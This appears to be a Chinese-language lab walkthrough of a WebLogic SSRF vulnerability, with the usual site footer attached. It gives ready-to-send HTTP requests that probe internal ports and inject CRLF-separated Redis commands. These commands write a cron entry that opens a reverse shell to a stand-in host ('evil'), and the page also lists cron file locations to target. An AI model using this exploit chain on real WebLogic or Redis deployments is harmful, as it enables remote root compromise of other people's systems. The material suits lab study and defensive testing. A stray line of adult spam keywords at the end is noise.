<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Weblogic SSRF漏洞

    Path weblogic/ssrf

    Weblogic中存在一個SSRF漏洞,利用該漏洞可以發送任意HTTP請求,進而攻擊內網中redis、fastcgi等脆弱組件。

    測試環境搭建

    編譯及啟動測試環境

    docker-compose up -d

    訪問http://your-ip:7001/uddiexplorer/,無需登錄即可查看uddiexplorer應用。

    SSRF漏洞測試

    SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp,我們在brupsuite下測試該漏洞。訪問一個可以訪問的IP:PORT,如http://127.0.0.1:80

    GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001 HTTP/1.1
    Host: localhost
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    

    可訪問的端口將會得到錯誤,一般是返回status code(如下圖),如果訪問的非http協議,則會返回did not have a valid SOAP content-type

    修改為一個不存在的端口,將會返回could not connect over HTTP to server

    通過錯誤的不同,即可探測內網狀態。

    注入HTTP頭,利用Redis反彈shell

    Weblogic的SSRF有一個比較大的特點,其雖然是一個“GET”請求,但是我們可以通過傳入%0a%0d來注入換行符,而某些服務(如redis)是通過換行符來分隔每條命令,也就說我們可以通過該SSRF攻擊內網中的redis服務器。

    首先,通過ssrf探測內網中的redis服務器(docker環境的網段一般是172.*),發現172.18.0.2:6379可以連通:

    發送三條redis命令,將彈shell腳本寫入/etc/crontab

    set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/21 0>&1'\n\n\n\n"
    config set dir /etc/
    config set dbfilename crontab
    save

    進行url編碼:

    set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave

    注意,換行符是“\r\n”,也就是“%0D%0A”。

    將url編碼后的字符串放在ssrf的域名后面,發送:

    GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa HTTP/1.1
    Host: localhost
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    

    成功反彈:

    最后補充一下,可進行利用的cron有如下幾個地方:

    • /etc/crontab 這個是肯定的
    • /etc/cron.d/* 將任意文件寫到該目錄下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用這個目錄,可以做到不覆蓋任何其他文件的情況進行彈shell。
    • /var/spool/cron/root centos系統下root用戶的cron文件
    • /var/spool/cron/crontabs/root debian系統下root用戶的cron文件

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类